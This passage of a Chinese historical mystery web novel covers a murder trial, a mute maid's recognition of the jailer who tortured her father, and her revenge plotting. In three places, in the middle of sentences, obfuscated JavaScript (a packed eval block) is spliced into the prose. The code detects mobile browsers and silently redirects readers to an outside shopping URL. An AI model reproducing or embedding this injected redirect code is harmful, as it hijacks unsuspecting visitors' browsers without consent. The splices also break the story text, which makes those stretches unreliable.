贺兰珩让季晚凝上了马车,随后他跃上马背,策马先行赶回官署处理案子。
后衙里,孙嬷嬷一早过来时发现季晚凝不见了,心急如焚,这可该怎么跟三郎君交待啊。
梨穗在院子里寻摸了一圈,这人就像凭空蒸发了一样。她没有书房钥匙,书房由东义和北苍管理,不然她就会发现季晚凝通常采竹露用的银壶还放在桌案上。
晌午过后,角门开了,季晚凝下了马车回到院里,东义也跟着她一起。
梨穗瞧她是乘着贺兰珩的马车回来的,蹙了蹙细眉道:“你这是干什么去了?”
东义替她答道:“昨日郎君去城南办案,缺人手,就带她一起去了。”
孙嬷嬷心中一块石头落地,抚着胸口道:“原来是被郎君带走的啊,那就好,回来了就好。”
梨穗满腹狐疑道:“我知道郎君去办案了,可为何不带其他婢女去,唯独带她?”
东义在杜宅时见季晚凝一直跟着郎君调查线索,他才知道原来她还有查案的本事,顿时刮目相看,难怪郎君特意带上她。
可贺兰珩不让他说,他只好道:“这你就得问郎君了。”
梨穗打量了季晚凝一番,道:“既然回来了,这院子还无人打扫,你抓紧些。”
季晚凝稍一点首,然后准备去耳房拿扫帚和水桶。
东义拦住她道:“晚凝娘子,今早的时候郎君交待,说你以后不用做洒扫、洗衣一类的粗活了。”
季晚凝刹住脚步,心想贺兰珩还算有点良心。
梨穗的眼皮几不可察地跳了跳。
前两年,县主往来鹤园送来了几个美人,容貌秾艳出众,梨穗就是其中一个。
贺兰珩不娶妻,县主又想开枝散叶,便告诉她们谁先生下孩子,就抬谁为妾,且重重有赏。
美人们没一个能接近贺兰珩的,都被他送走了。梨穗人机灵,见势巴结上了春彤,才留下来,起先做了大半年的粗活呢。
而这哑女刚来就能出入书房,还坐了郎君的马车,被单独带在身边,梨穗心里一酸,原来郎君并非不近女色。
她甩了甩绣帕道:“听说你茶煎得好,那便去煎茶吧。哦,对了,别忘了用竹露煮,我看你近来有些松懈了。”
季晚凝想起昨天她给自己采的还没喝,倒是给她用了。她只得应下,同东义去书房取水壶。
翌日,东义从西市回来了,自打春彤走后,贺兰珩便让他负责后衙的采买。
他在院子正巧碰见了季晚凝,递给她一个布袋子道:“三郎君吩咐,以后你的吃穿用度涨了,我便买了糕点香料给你,新衣裳绣房也已经在缝了。”
季晚凝把布袋子打开,里面有胭脂香料,还有一个油纸袋,上面印着“悦桂斋”的字样。
这三个字让她感到颇为亲切,儿时阿娘习惯每旬差人买一包,她和阿姐抢着吃。阿娘不让她们多吃,说吃了点心就不好好吃饭了,所以旬日是她最开心的日子。
昨晚东义从贺兰珩那儿支了钱,郎君特意说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164458|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一句季晚凝喜欢吃点心,于是他就去了长安最有名的那家悦桂斋,排了好长时间的队。
东义看她捧着纸袋嗅着香味,眉黛弯弯,眼睛亮晶晶的,看来郎君说得没错。
季晚凝留下了自己用的,把其他的分给了院里的婢女们,一群女郎围着她,分到了东西笑吟吟的,不停地恭维道谢。
只有那几个跟梨穗要好的拉不下脸来,远远瞧着,小声嘀咕。
季晚凝抬头看她们,把那布袋子举起来冲她们示意了一下,礼数到了,她们愿意来就来,不愿意就罢了。
梨穗眼角挂着抹妩媚的笑,目光从她身上滑了过去,这点东西她也看不上。
一个婢子小声蛐蛐:“晚凝的地位升得也太快了,才来一个月春彤姐就被罚到小厨房打下手,而今又是赏赐又是免了粗活,看起来颇有手段,梨穗姐小心点。”
梨穗不屑一顾道:“郎君将她放在后衙,意味着随时会把她送人,有什么可担心的。”
……
不出几日,凶犯就被羁押归案了,关在大理狱的刑讯室受审。
一个穿着软底靴的波斯男子披枷带锁,碧绿色的眸子在昏暗的光线下格外醒目,紫色的虬髯被血珠粘成一缕一缕的。
他面前的地上放着一只赤鹿皮囊,口袋敞开,露出了满满一袋华光溢彩的珠宝。
狱丞袁大站在他前面,手中执着狼牙鞭,浸满了血迹。
这个波斯人名叫何从,是个商贾,在长安置业,混得风生水起,颇有些资产。谁想染上了赌瘾,不出一年,不仅家产输得精光,还负债累累。
贺兰珩缓缓走到他前方,冷漠的眼里映着脚下之人扭曲的影子。
何从嘴角挂着血丝,衣服已被鞭子划烂,嗓音嘶哑道:“人真的不是我杀的……我只偷了何家的财宝。”
“人是谁杀的?”贺兰珩冷冰冰问道。
“秦俪,她曾是我的熟客,所以我多少知道些她夫家的家底儿,便起了歹念。那婆娘妒心重,上个月刚杀了个歌伎,这次必然也是她干的。”
贺兰珩轻扣着骨节道:“你有何证据?若是污蔑朝廷官员家眷罪加一等。”
“鄙人不敢诓骗大理卿啊!大理卿将她抓过来一审便知!”
要的就是他这句话,贺兰珩转身对卫庚道:“即刻派捕吏去捉拿秦俪。”
晚间,贺兰珩从大理狱出来回到后衙,东义缀了上去。
“季晚凝呢?让她把要寄的信给我。”贺兰珩道。
“小人这就去叫她。”
片刻后,季晚凝来到书房,把缄了口的信札交给贺兰珩。
贺兰珩当着她的面把信拆开了。
季晚凝猜到他会检查,内容就是寻常的家书,不过报喜不报忧,没提自己抄禁书下狱的事。
十三岁那年,养父母不幸染上瘟疫过世了,而她奇迹般活了下来。
为他们安葬后,她只身去兰陵来到季府,被下人赶了出去。她又启程去找父亲的家族,途中遇见了正在云游四海的季良,他是母亲的族兄,算是她的舅父。
季良适逢女儿病殁,悲痛欲绝,便收养了她,替了亡女的身份。
舅父在族中是个异类,少时与一采莲女互生情愫、珠胎暗结,想娶为正妻,最后闹得家族将他除了名逐出门去。
他不爱钱权,亦无心仕途,素日就喜吟诗点茶,纵情山水,当个闲云野鹤。
直到在曹州遇灾,囊空如洗,他和妻女随流民来到润州,租了块田安置下来。
季晚凝之前对贺兰珩所说的,有八成都是实话。
贺兰珩读后没发现什么问题,又扫了眼地址,还是润州的那个。
看来她还不知道季良已经搬到苏州去了,而自己又不能告诉她实情。
不管怎么说,是季良不辞而别,这是他们父女间的事,轮不到他操心。
他把信交给了东义,让他重新封好后送去驿站寄出。
20. 耳朵
榴香案开堂审理这日,季晚凝戴着帷帽随东义来到了前衙正殿。
上一回她来这里还是作为囚犯,这次则是作为证人。
一到殿前,她就看见杜耀安正站在门外抻着脖子往里看,一副鼠头鼠脑的样子。
里面已经升殿了,隐约能听见贺兰珩的声音,那波斯人嘴还挺硬,咬死不承认自己杀了榴香。
过了一会儿,一个差吏叫季晚凝进殿,她展示了鞋印的图纸,与何从所穿的靴子纹路毫无二致。
作完证后再出来时,季晚凝突然发现林夙之也来了,一个人站在远处,她马上上前挽了她的胳膊。
“晚凝?你也来啦。”林夙之满目惊喜,“我刚刚也去作证了。”
季晚凝把她拉到门口,一起旁听堂审,东义自己也听得专注,没顾得上管季晚凝。
殿里,何从跪在地上,狡辩道:“鄙人与那歌伎无冤无仇,只是误入她房中,并不能证明人是我杀的。当日秦俪就在府里,鄙人听闻杜监丞与那歌伎相好,是以秦俪的作案嫌疑更大。”
何从打了主意,只要他不松口,受点儿刑罚能捡回条命也值当。
随后秦俪被传入殿,妆容一如既往地精致,脸上傲慢的神情不减分毫,见到杜耀安的时候狠狠地啐了他一口。
进了殿,秦俪被按着跪在地上。
“秦俪,何从说是你杀了榴香,你有什么要说的?”
秦俪一记眼刀子飞向何从,险些咬碎了银牙,抬头看向贺兰珩:“贺兰三郎明鉴,妾只是一年前跟此人买过几次香料,谁知他竟如此诬陷妾!”
“放肆!本官排行岂是你能随便叫的?来人,呈上证物。”贺兰珩重重拍了下抚尺,吓得秦俪哆嗦了一下。
一个差吏手捧着一块用黄麻布包裹的东西上来,道:“这是属下在秦俪的院子里搜到的。”
“打开给众人看看吧。”
差吏转过身来,对着跪在地上的何从和秦俪,一层层地掀开了布角。
半只血淋淋的人耳呈现在众人眼前。
“属下发现这只耳朵的时候,被扔在狗圈里,已经被啃得只剩半只了,经仵作验过正是榴香的耳朵。”
这耳朵是贺兰珩那夜潜入秦俪园中找到的,但为了不被发现,他藏好后再让差吏去搜。
秦俪的脸色一霎转白,紧紧咬住了嘴唇。
“我院里怎么可能会有她的耳朵,我都不认得她,明明是何从栽赃妾身!”
贺兰珩在殿上俯视着她道:“何从夜闯杜宅,进库房行窃,随后潜伏在榴香房间中,待她回房后用帔帛将其勒死,割下右耳。又翻墙进入你园中,以此耳证明自己已经取了榴香的性命。”
秦俪猛地抬起头道:“是了,妾房中有个婢女,唤作小阮,肯定是她干的……”
贺兰珩打断了她:“本官正好要传唤小阮。”
随后一个瘦瘦怯怯的小娘子被带了进来。
秦俪指着她就骂:“贱婢,我那晚寻你寻不着,一回来就看你鬼鬼祟祟的,说!是不是你干的!”
小阮战战兢兢,脚下一软跪在了地上,声音颤颤道:“不、不是奴婢,那晚是、是秦娘子紧闭窗门,将我支出寝屋,过、过了大约一炷香的工夫,奴婢才回去伺候她盥洗。”
秦俪哼笑一声:“那又能证明什么,我被禁足了一个月,万万不可能和那波斯人有牵扯!”
小阮谨慎地抬头看了一眼何从,指着他道:“此前秦娘子被禁足的时候,声称园中阴气重,被鬼、鬼缠上了,让奴婢去请摩尼教法师来,用所谓圣火净化宅邸,那法、法师跟这个波斯人长得一模一样!”
秦俪脸色瞬时变得青黄不接,窘态毕现,突然朝着小阮扑了上去,用长长的指甲挠向她的脸。
“你这个背主的奴才!不弄死你我枉姓秦!”
小阮像鹌鹑一般缩住身子,头恨不得埋进怀里。
“啊——”
杜耀安冲进来一脚揣在了秦俪的肋骨上,吼道:“我怎么娶了你这么个家贼回来!”
秦俪惊呼一声歪倒在地,镣铐砸在地上,发出了巨大的锒铛声。
“啪!”
抚尺再次落在桌案上。
何从见事情败露,先下手为强道:“都是秦俪指使我的!她让我帮她除了那歌伎,以告诉我何宅库房的位置为交换条件,还说会掩护我!”
“你!你血口喷人!”秦俪气急败坏道。
杜耀安目眦欲裂,大声嘶喊:“我要休妻!我杜家的脸都被你丢光了!”
秦俪停了下手,回头冲他讥笑道:“杜耀安你又是个什么好东西!自诩风流,也不看看你那张脸!”
“你不过也是个庸脂俗粉,哪有一点大家闺秀的样子!”杜耀安仰天道,“榴香你死得冤啊!来世你应当生在秦家,让这妒妇生在青楼!”
“做梦吧你杜耀安!”秦俪狂笑不止,“榴香已经被我杀了!”
一旁的大理寺评事奋笔疾书,记下了三人的供词。
季晚凝在外面听着,原来贺兰珩方才是祸水东引,挑拨三人的关系,而他自己作壁上观,隔岸观火。
“案情已昭,秦俪、何从共谋窃取杜家财产,谋害榴香性命,证据确凿。”贺兰珩肃声道,“杜耀安,你包庇秦俪,妨碍大理寺查案,来人,把他们都押回大理狱!”
“杜某冤枉啊!”杜耀安大惊失色道,“杜某真的不知道人是这妒妇杀的!”
贺兰珩使了个眼神,差吏便将杜耀安鹰拿燕攫押了出去。
当夜贺兰珩潜入秦俪园中搜查时,惊动了外间正在守夜的小阮。他看小阮面色蜡黄,腕间隐隐有被殴打的淤伤,便与她做了笔交易。
小阮提供证据,出堂作证,而他会想办法拿到她的身契,帮她离开秦府。小阮当时有些犹豫,她是秦俪的陪嫁,多年来在秦俪的淫威下偷生,万一贺兰珩食言了,她的下场很可能是被秦家打死。
而当小阮听到秦俪反咬一口污蔑自己是凶犯时,她终于下定了决心,哪怕一死,也要说出真相。
殿外,林夙之见终于水落石山,两名共犯已经招供,心中释然,双手合十为榴香哀悼。
马上就下堂了,季晚凝也该走了,走之前她还有件重要的事,上次她就想托林夙之帮她取香球,但被贺兰珩打断了没来得及,幸好今日又遇见了她。
她瞄了眼东义,他没注意自己,于是悄悄拉过林夙之的手写字。
林夙之点了点头,用口型无声地对她道:“交给我吧”。
这时,犯人被押送了出来,季晚凝和林夙之往旁边错身让路。
季晚凝透过帷帽看见秦俪拖行着镣铐,与她擦肩而过,自顾自地和杜耀安互骂。
袁大率狱吏前来交接,大声喝令着囚犯。
“恶有恶报,我相信贺兰大理会给他们应有的判决。”林夙之道,“晚凝,我得回镜花楼了,不然苏娘该不高兴了,改日我再来看你。”
季晚凝将目光从秦俪身上收回,不经意地掠过袁大,停滞了一下。
她将帷帽稍微拨开一条缝隙,见那狱丞穿着青色官袍,身材粗壮,酒糟鼻头,手里握着把佩刀。
她双眸骤然凝起一簇灼灼的光芒。
林夙之见季晚凝没有回应,仿佛一尊塑像,一动也不动地立着,直直地盯着前方,手中的绣帕愈攥愈紧。
她摇了摇她的袖口,道:“晚凝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164459|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你怎么了?”
季晚凝倏地回过神来,林夙之拉起她的手,她的手冰凉,手心被汗濡湿,指尖微微颤抖。
这时东义催促季晚凝回去,季晚凝敛回眸光,神情恢复如常,跟林夙之告了辞,往后衙走去。
她低头看着自己的脚尖,踏在金黄的梧桐叶上。
那个人她绝不会认错,别说时隔十年,就算化成白骨她都记得。
……
秦俪再度下狱,习惯性地想把小六叫来,才想起贺兰珩因为那个抄书的女囚把他关了起来,没想到他动真格的,人还真就不见了。
她环顾了一下熟悉的大牢,囚犯里也没有几个熟脸了。那个抄禁书的自从被贺兰珩带走以后她就没再见过,想必已经跟跟着那些谶书案犯流放了。
说来也怪,短短一个多月的时间,大理狱似乎被大换血过一样。
狱丞也换了新人,听说叫袁大,生得面目黧黑,看着是个狠角儿,但对她倒也十分客气,应该是父亲打点过了。
秦俪只等着父亲来缴赎铜,她就可以回家了。
想到这儿,她的不安消散了,骄横地对着西边的女囚使唤道:“谁来给我捏捏肩,有赏。”
牢房里鸦雀无声,没人理睬她。
啪!
一道鞭子抽在了秦俪牢房的栅栏上,那响声吓得秦俪倏地跌倒在地上。
“噤声!狱里不准大声喧哗!”
“敢这么跟我说话,你知道我是谁吗?”秦俪含怒瞪着他。
“不管你是谁,这里是大理狱。”断眉不无嘲讽地说道。
“我有钱,你帮我往秦府送个信儿……”
啪!
又一鞭子抽在栅栏上,秦俪面色铁青,趔趄着回到床榻上躺下,不再吭声了。
天光渐暝,穹幕呈现出一片灰白阴沉之色,云雾卷着暮色自远而至。正是长安人开始走动的时辰。
有人家炊烟徐起,有诗会陈酒欲酣,亦有人则为前途汲汲营营。
秦筝正在刑部尚书府上,低眉耷眼地坐在吴道坤对面,臊得抬不起头来。
“秦十一啊,你这个女儿可真不让人省心。”
“唉!下官教女不严,丢光了秦家的脸,等她出了狱,我定好好教训她!”
秦筝害怕家丑外扬,杜耀安自己当了乌龟王八还下了狱,绝不会往外说。至于小阮那个叛主之奴,已经被他关了起来,留给女儿回家后受罚。
“下官只担心大理卿,贺兰珩看起来没那么近人情,不如他父亲为人圆通,加之年纪轻轻便得天子垂青,官途如乘青云直上,愈发倨傲自负了。”
“贺兰卿知分寸,他虽有他的行事之道,但也得看我的面子。”吴道坤耸了耸眉,“好了,你就把心放肚子里。准备好赎铜接你女儿回家吧。”
“说起赎铜,近来下官手头有些紧,杜家不肯出钱,下官正在焦头烂额地凑钱。”
秦筝双手拢在袖子里,腰弓得更低了些。他的官职捞不着那么多的油水,平日又要上下打点,难免捉襟见肘。
“吴尚书,你看能不能把大理寺的狱牒驳回,逼着他改成无罪。”
“我也想帮你,但狱牒我已经看过了,证据齐全,词讼缜密,找不到漏洞,我不能做得那么明显。”吴道坤屈起食指敲了敲自己的太阳穴,若有所指道,“秦十一,你想要钱很容易,我早就说过,去找康诫。”
“这……”秦筝哑然,抬起袖子抚了抚额角。
康诫是天子的心腹宦官,他一向看不上此人,拉不下脸来阿谀取容,但为了女儿这也是唯一的路了。
送走秦筝之后,一个青衣身影从角门进了吴府,由管家领到了书房。
21. 哑因
“下官拜见吴尚书。”袁大双手交叉行了个礼。
“查到撰写谶书的人了?”吴道坤目不斜视,端起高足银酒盏啜了一口。
“下官无能,尚未查到。不过下官一直有所怀疑,此人会不会和当年给陈澍递密信的是同一人?”
“嗯,我也是这么考虑的。十年前没查出这个人,而且陈澍党羽已经肃清,便也没再刨根问底,没想到十年后他会再次出手。”吴道坤道。
“下官心里倒是有一个猜疑人选。”
“你是说,郑彦元?”吴道坤抬起头看他。
“正是。”
“郑令公一向心细如发又深居简出,还有郑贵妃这个后盾,难以从他身上下手,不过我会时刻盯着他。”吴道坤道,“贺兰珩那边怎么样,可有什么动作?”
“下官并未察觉有什么异样,他只命下官整饬大理狱。”袁大思索了片刻,“对了,下官听闻他此次办秦娘子的案子,不仅带了个婢女同去,还出堂作证了。”
“婢女?我估摸是他的挡箭牌。”吴道坤不以为然地哼笑了一声,又道,“贺兰珩从我这里把你要了去,尚不知晓目的是什么,不过可以肯定的是,他已经看过了陈澍案的卷宗,一定也知道你是当年审讯陈澍的酷吏。
吴道坤抬头看着他:“你切记行事要小心一点,别被他抓住把柄。”
“吴尚书放心,下官定会谨慎行事。”
“嗯,回去吧,天色晚了。”吴道坤望了眼窗外道。
……
灯火渐熄,夜幕下沉,如浓墨泼洒,将天际的残云染得乌黑。
烟雨濛濛,在朱雀大街的青石板路上溅起破碎的水花,长安城笼罩在一片缥缈的雨幕之中。
空无一人的大街上疾驰着一辆罩着布的囚车,驶入了皇城。
车上载着一个七岁女童和她的乳娘,马车在刑部大门前停了下来,狱吏强行从乳娘怀中将女童扯了过来。
那女童吓得正要哭,却被狱吏低喝一声:“不准哭!”
女童和乳娘双双被押进了刑部大牢的刑讯室,幽暗中,一阵似远却近的声音在耳边响起。
“小娘子,只要答上本官的问题,你阿耶不日便可回去和你们相见了。”
说话之人身着绯袍,宽脸,口吻听着和善,却让女童寒毛直竖,恐惧从心头密密麻麻地蔓延到指尖。
“小娘子,你可记得近日家中有什么不寻常的事?”宽脸官员接着问道。
乳娘哆哆嗦嗦道:“她才七岁,什么都不懂,你们要问就问奴婢吧。”
“闭嘴!还没轮到你!”另一个面如阎罗的绯袍官员驳斥道。
“罗少卿,稍安勿躁。”宽脸官员压了压手掌,“小娘子,你见没见过一封信?”
女童双膝跪在地上,沉默地低垂着脑袋。
“哑巴了?吴侍郎问你话呢,快说!”
一个狭长脸的酷吏走上前来,掌风随着话语骤然席卷过来,狠狠地抽打在女童的脸上。
一下,两下,五下,十下……
鼻血如注般从她的鼻腔里汩汩淌出,嘴角渗着一线殷红,可她仍然咬着下唇,一声不吭。
乳娘扑过去想挡在女童身前,却被狱吏按住了。
这时,壁角里响起了熟悉而嘶哑的声音:“你们这群畜牲,放过我女儿!她生来聋哑,你们问她也没用!”
那酷吏闻言一脚踹在女童身上,飞出半丈远去。
女童捂住心口,眼里蓄满了泪水,又极力憋了回去,再痛也没有发出声音。
父亲说她是聋哑人,聪敏的她立时心领神会,他是在保护她。
“聋哑?既如此,上刑!”罗逊下令道。
女童眼睛一眨不眨,盯着地面,咬紧了牙关。
鞭声啪啪地响了数下,可奇怪的是,她没感觉到疼痛。
突然一只手掰住了她的下巴,令她的视线正对向父亲,眼睁睁看着那名酷吏挥舞着狼牙鞭抽在父亲身上。
陈澍褴褛的囚衣下皮开肉绽,血肉迷糊,已见白骨嶙嶙。他却如磐石般穆然沉默,纹丝不动,仿佛落下的鞭子不过是一根羽毛。
女童看见这一幕心如刀割,她弱小的身躯挣开了缚住她的手,匍匐着朝父亲扑去,却被按在了地上。
差吏的手紧紧按住她的脖颈,迫使她“观赏”这残忍的一幕。
这时酷吏鞭子扔在了地上,从刑具架上取来一只粗长的铁钉和一把铁锤,随即将钉子对准了陈澍的左眼,高高举起铁锤,砸进了陈澍的眼球中。
“啊!!!”
陈澍终于扛不住了,仰头发出了撕心裂肺的叫喊声。
“我说过……从来没有什么密信……”
父亲喑哑的声音断断续续,越来越微弱,直至什么也听不见了。
女童不知道父亲还有没有气息,她死死瞪着那个酷吏,眼里爬满了血丝,泪水不停地砸在地上。
酷吏停了手,转身一步步朝着她逼近。
那张瘦骨嶙峋的脸渐渐浮肿起来,满面横肉,像脑花一样,鼻头越来越大,变成了布满丘疹的酒糟鼻。
就是他,大理狱丞!
一个人的胖瘦会变,五官会变,但他的骨相与三庭五眼绝不会变。
季晚凝猛地从梦中惊醒,坐起身来,大口喘着气。
她下意识地张嘴,想喊乳娘点灯,却发现自己发不出一点声音来,这才恍然回神,乳娘早就随母亲一同坠崖身亡了。
四下伸手不见五指,比刑部大牢还黑,狭小的房中一片阒寂。
那日,从刑部大牢出来后被押送回府,季晚凝跑向母亲,想告诉她自己很乖,什么也没说,她想在母亲的怀抱里放声大哭一场。
可当她张开嘴,喉咙却像被铁水封住了一样,再也发不出任何声音。
她真的变成了哑巴。
季羽用那双变形的、满是伤痕的手抚着她的头,为她擦去口鼻上的血迹。
那时吴道坤任刑部侍郎,罗逊任大理少卿,还有那个不知姓名的酷吏,这三个人的相貌在季晚凝的脑海里,牢牢记了十年。
直到半年前,罗逊伏诛的喜讯从京师传到了润州,给了她一线光明,她不想再苟活。
舅父劝她向前看,季羽拼死保下了她的性命,远离是非安心度日才是报亲恩。
但她决心已下。
她要重返长安,一一清算。
……
季晚凝再也睡意,起身点上灯,坐在桌案前,提笔画大理寺舆图。
后衙她已经很熟悉了,闭着眼都能精准地将几丈几寸默出来。
前衙她也去过几次,房室的坐落她都一清二楚,就算是没走过的路,她也留意过,从边边角角推算一下便知。
她所在的下人房背后就是前衙的一排库房,前方是池塘和凉亭,梧桐环绕。再往前则是大理狱、官廨、正殿和大门。
她准备找个梯子,看看能否翻到前衙。
月落乌啼,黑夜逐渐被曈曈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164460|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的旭日照亮,远处清袅的晨钟一声递着一声。
季晚凝把舆图藏好,从屋里出来,准备去竹林采露。
路过浆洗房时,就见一个梳着双鬟的小娘子坐在小圆凳上,正在洗衣。
季晚凝略带诧异地朝她走近,竟然是秦俪的那个婢女,她在榴香案堂审时见过。
小阮忙停下手里的活计,站起身来,露出一双小小的笑靥道:“我叫小、小阮,新来的。”
季晚凝冲她迎眸一笑。
瞬时想明白了其中原委,小阮供出了秦俪,必定不能再回秦府了,她能求助的人也只有贺兰珩,就像当初他和自己的交易一样。
“可、可是晚凝姐姐?”
孙嬷嬷已事先跟小阮交代过了后衙的情况。
季晚凝微微颔首,淡金色的晨曦镶在她身上,月眉星眼,似秋水凌波。
小阮恍惚了一下,这里真的是大理寺?不是仙宫?
“那、那我先干活了,晚凝姐姐若是有什么要交代的,尽管找我就好了。”
季晚凝没回应,转身走了。
小阮坐下来继续埋头洗衣,心里责怪自己刚刚太过紧张,说话直结巴。
过了半晌,她洗完衣服,看见季晚凝又折返了回来,伸手递给她一个粉盒。
小阮擦干净手,打开一瞧,是半盒手膏,闻起来香香的。
她抬头,季晚凝已经走远了,背景飘飘袅袅,烟岚色的裙摆在风中如浮云卷雾。
原来这世上真的有谪仙啊。
……
子时初,疏星淡月,清夜无尘。
月光被寥落的桂枝切成点点细碎的光影,铺陈在覆着薄霜的地上。
季晚凝推开老旧的房门,朝隔壁小阮的房间看了一眼,已经黑了灯。
她来到耳房,墙角里竖着一个巨大的梯子,她转过身双手扣在梯子两侧,将它扛了起来。
季晚凝蹒跚地背到门口,刚要迈过门槛时,头重脚轻,梯子长长的前半端霍然朝地倒去,她马上蹲在地上,梯子压在了她的脊背上。
她费力地从长梯下面挪出来,“哐当”一声,整个梯子摔在地上。
她向外探了探头,小阮的屋子还黑着。
季晚凝又找来了几块破布,绑在梯脚处,然后拖着梯子,生生拽出了门。
这里离下人房有十八丈,说近不近,说远不远,若是院里还像之前一样只有她一个人,她可以放手去做,可小阮偏偏来得不是时候。
季晚凝费了一番工夫终于把梯子拖到了离下人房不远的地方,她重新扛了起来,一步一步蹑手蹑脚地挪到墙边,把它靠在墙上。
她歇了口气,登上梯子,匍匐在屋脊上。
另一侧的前衙里,素月在荷塘中摇曳,波光静谧,零星几个侍卫拖着惫懒的影子在站岗巡逻。
季晚凝估量了下从房顶到地面的距离,跳下去是不可能的,只能用绳索,可下面还有侍卫把守。
假使她能通过这一关,顺利进了前衙,得手之后也无法逃脱。
她无法像秦俪一样打点狱吏,不像何从一样有内应,更不像贺兰珩一样会轻功。
她轻轻叹了口气,她的每一步都被堵死了,如同槛花笼鹤一样被困在后衙。
季晚凝小心翼翼地从房檐上下来,一只脚刚触碰到梯子,另一只脚就不慎踢到了瓦片,发出了清脆的声响。
她缓缓抬脚在梯子上站稳,往下方望去,小阮的窗前亮起了一方昏黄的灯光。
22. 心硬
季晚凝马上回到房顶上,屏气敛息。
小阮秉着蜡烛,探出了半只瘦小的身影,在门口张望了片刻,又回到屋里熄了灯。
良久后没再有动静,季晚凝才从梯子上下来。又费了一番工夫,将梯子放回耳房。
翌日。
东义采买回来,给季晚凝带了悦桂斋的糕点,还有石榴、金杏等等珍奇水果。
季晚凝拿着东西径直去找小阮,塞到她手里。
小阮眼睛弯成了月牙,道:“我从来没吃过这些呢,谢谢晚凝姐姐。”
之后东义再买回来什么,季晚凝都分给小阮一半。
小阮心里很暖,原先她跟着秦俪,份例少得很,赏赐更是没有,经常饥一顿饱一顿,稍有错漏就要挨上一顿毒打。
而她成了贺兰珩的婢女之后,月钱足有一吊,还有善良大方的仙女姐姐,小阮觉得就像在家里一样。
大理狱。
袁大在值房里翻看着囚犯名册和刑讯簿录。其中一张文牒引起了他的注意,谶书案里一个名叫季晚凝的女囚,被牢头用了私刑,第二日她便出狱了。
袁大浸淫牢狱十余年,一看便知这其中有问题,于是询问身旁的断眉。
“她啊,已经查实无罪,放出去了。”断眉答道。
“那个牢头呢?叫什么名字?”袁大又问。
“小六。”
“他现在在哪?”
“就在大理狱。”断眉解释道,“他跟原先的狱丞是姻亲,收受贿赂、滥用私刑、侵犯女囚,什么坏事都干过。不过之前大多整的是死囚,所以大伙就睁一只眼闭一只眼,这回不巧被咱们新官上任的贺兰卿撞上了,给他关了起来。”
袁大道:“走,带我去瞧瞧。”
于是断眉领着袁大出了值房,来到男监。
小六正躺在牢房的一角里,面容枯憔。
“你过来,本官有话问你。”袁大手里拿着一张胡饼,向他勾了勾手。
小六闻见饼香味,爬了起来,踉踉跄跄地冲过来,脏手穿过木栅去夺那饼。
袁大手往身后一缩,道:“跟我去值房,问完话饼就给你。”
“呃……啊……”小六浑浊的双眼直愣愣地盯着那张饼,嘴里发出诡异的声音。
袁大蹙紧了眉,觉出不对劲来,猛然上前用手箍紧了小六的下颌。
小六不由张大了嘴巴。
“啊!啊——”
他泛黄的两排牙齿后面漆黑如洞,只剩下了半截舌根。
“怎么回事,谁干的?!”袁大大吃一惊,扭头看向断眉。
舌头是断眉亲手割的,贺兰珩下的令,为了不让小六乱说话。不过断眉不敢告诉他。
他扬起四条眉毛道:“前狱丞割的。”
“不是说他俩是姻亲吗?”
“断尾求生。”断眉简练答道。
前狱丞倒确实为了将功抵过,招出了小六干不少的事。
袁大脸色阴沉地松开了手,问小六:“可识字?”
小六摇了摇头,又伸手去够那张饼,袁大拧着眉头躲开了他,将饼扔在地上,转身离开了。
小六趴在地上,伸长胳膊卡在栅栏上,只差那么一寸就能够到饼了,急得他啊啊啊叫唤。
袁大回到值房里,簿录还摊在桌上,他坐下来顺了顺气,问道:“那季晚凝现在何处?”
“这个卑职倒是知道一点,可是……即使袁狱丞找到她,恐怕也问不出什么来,她是个哑巴。”断眉道。
“又是个哑巴?”袁大竖起眉毛。
等等。
姓季……哑巴……他总感觉有几分似曾相识。
袁大拿起季晚凝的文牒反复阅读,眼前倏然一亮。
是了,十年前,陈澍案。
他记得陈澍有一个年幼的聋哑女儿,算起来如今跟季晚凝一般大。
她的母亲被他夹过手指、插过针,而她的父亲,被他折磨得全身筋骨断裂,死前腿上已长了蛆虫,左眼和胸膛里还插着数枚钉子。
但袁大实在想不起来她的名字了,陈澍的女儿自然姓陈,而季晚凝究竟是个巧合还是个假身份?
袁大强压下血管里的躁意,沉声道:“没关系,你告诉我她在哪。”
断眉垂首道:“卑职不敢说。”
“你做狱吏多久了,想不想穿上这身官服?我曾经也是诏狱的酷吏,后来被吴尚书提拔去刑部当了狱丞。”袁大抖了抖襕袍,“所以,你不用畏惧大理卿。”
断眉沉吟了良久后,贴过去对袁大耳语了几句。
……
贺兰珩有阵子没回后衙了,给了季晚凝足够的时间每晚练习上房顶、制作工具,一遍遍地尝试,再推翻方案。
